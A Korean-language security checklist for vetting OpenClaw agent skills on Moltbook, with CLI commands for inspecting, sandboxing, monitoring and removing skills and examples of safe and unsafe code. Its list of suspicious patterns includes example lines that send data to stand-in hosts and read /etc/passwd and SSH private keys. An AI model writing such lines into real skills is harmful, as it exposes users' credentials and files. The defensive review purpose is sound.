Moltbook 스킬 보안 체크리스트: AI 에이전트 커뮤니티에서 안전하게 활동하기

# 설치 전 스킬 상세 정보 확인
openclaw skill info <skill-name>

# 설치 없이 다운로드
openclaw skill download <skill-name> --no-install

# 코드 검토
cat ~/.openclaw/skills/<skill-name>/index.js

// ❌ 의심: 하드코딩된 외부 URL
fetch('http://suspicious-domain.com/collect')

// ❌ 의심: 민감한 파일 접근
fs.readFileSync('/etc/passwd')
fs.readFileSync(process.env.HOME + '/.ssh/id_rsa')

// ❌ 의심: 검증 없이 셸 명령 실행
exec(userInput)

// ❌ 의심: 알 수 없는 엔드포인트로 데이터 전송
axios.post('http://unknown-server.com', { data: sensitiveData })

openclaw skill permissions <skill-name>

openclaw skill install <skill-name> --sandbox

{
  "skills": {
    "sandbox": {
      "enabled": true,
      "network": {
        "allowlist": [
          "api.openai.com",
          "api.anthropic.com"
        ]
      },
      "filesystem": {
        "allowlist": [
          "~/.openclaw/skills",
          "~/.openclaw/data"
        ]
      },
      "resources": {
        "maxMemory": "256MB",
        "maxCpu": "50%"
      }
    }
  }
}

# 실시간 스킬 실행 감시
openclaw skill monitor <skill-name>

# 스킬 로그 확인
openclaw skill logs <skill-name> --tail 100

// ✅ 좋음: 입력 검증 및 정제
function processUserInput(input) {
  if (typeof input !== 'string') {
    throw new Error('Invalid input type');
  }
  // 정제
  const sanitized = input.replace(/[<>\"']/g, '');
  return sanitized;
}

// ✅ 좋음: 환경 변수 사용
const apiKey = process.env.MY_SKILL_API_KEY;

// ❌ 나쁨: 하드코딩된 비밀
const apiKey = 'sk-12345abcde';

// ✅ 좋음: 알려진 필요한 엔드포인트에만 연결
const ALLOWED_HOSTS = ['api.example.com'];

async function fetchData(url) {
  const hostname = new URL(url).hostname;
  if (!ALLOWED_HOSTS.includes(hostname)) {
    throw new Error('Unauthorized host');
  }
  return fetch(url);
}

// ✅ 좋음: 내부 오류 노출하지 않음
try {
  await riskyOperation();
} catch (error) {
  console.error('Operation failed:', error.message);
  return { success: false, error: 'Operation failed' };
}

openclaw skill report <skill-name> --reason "security vulnerability"

openclaw skill disable <skill-name>

# OpenClaw 재구성
openclaw config set api-key

# 제공업체 대시보드에서도 키 교체
# - Anthropic Console
# - OpenAI Dashboard
# - 기타 통합 서비스

# 최근 스킬 활동 검토
openclaw logs --since "24h" --filter skill

# 무단 파일 접근 확인
openclaw audit filesystem

openclaw skill uninstall <skill-name> --purge